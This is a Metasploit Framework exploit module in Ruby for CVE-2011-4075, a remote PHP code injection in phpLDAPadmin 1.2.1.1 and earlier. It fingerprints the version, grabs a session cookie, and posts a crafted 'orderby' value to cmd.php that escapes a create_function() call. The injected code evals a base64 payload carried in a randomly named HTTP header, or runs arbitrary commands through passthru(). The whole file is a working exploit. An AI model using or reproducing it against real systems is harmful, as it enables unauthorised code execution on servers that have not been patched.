150 lines
3.6 KiB
Ruby
150 lines
3.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
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'Description' => %q{
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This module exploits a vulnerability in the lib/functions.php that allows
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attackers input parsed directly to the create_function() php function. A patch was
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issued that uses a whitelist regex expression to check the user supplied input
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before being parsed to the create_function() call.
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},
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'Author' =>
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[
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'EgiX <n0b0d13s[at]gmail.com>', # original discovery/poc
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'mr_me <steventhomasseeley[at]gmail.com>', # msf
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'TecR0c <roccogiovannicalvi[at]gmail.com >', # msf
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2011-4075'],
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['OSVDB', '76594'],
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['BID', '50331'],
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['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
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['EDB', 18021],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 4000,
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'Keys' => ['php'],
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Oct 24 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
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], self.class)
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end
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def check
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uri = ''
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uri << datastore['URI']
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uri << '/' if uri[-1,1] != '/'
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uri << 'index.php'
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => uri,
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}, 3)
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if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def get_session
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uri = ''
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uri << datastore['URI']
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uri << '/' if uri[-1,1] != '/'
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uri << 'index.php'
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => uri,
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}, 3)
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if (res.nil? or not res.headers['Set-Cookie'])
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print_error("Could not generate a valid session")
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return
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end
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return res.headers['Set-Cookie']
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end
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def cleanup
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# We may not be using php/exe again, so clear the CMD option
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if datastore['CMD']
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datastore['CMD'] = nil
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end
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end
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def exploit
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# if we are using the exec CMD stager
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# important to check which php functions are disabled
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if datastore['CMD']
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p = "passthru(\"%s\");" % datastore['CMD']
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p = Rex::Text.encode_base64(p)
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else
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p = Rex::Text.encode_base64(payload.encoded)
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end
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# Generate some random strings
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hidden_header = rand_text_alpha_upper(6)
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fake_func_name = rand_text_alpha_upper(2)
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# build sttack string
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php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
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data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
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session = get_session
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uri = ''
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uri << datastore['URI']
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uri << '/' if uri[-1,1] != '/'
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uri << 'cmd.php'
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => uri,
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'data' => data,
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'headers' =>
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{
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"#{hidden_header}" => p,
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'Cookie' => session,
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'Connection' => 'Close',
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},
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}, 3)
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print_status("%s" % res.body) if datastore['CMD']
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end
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end
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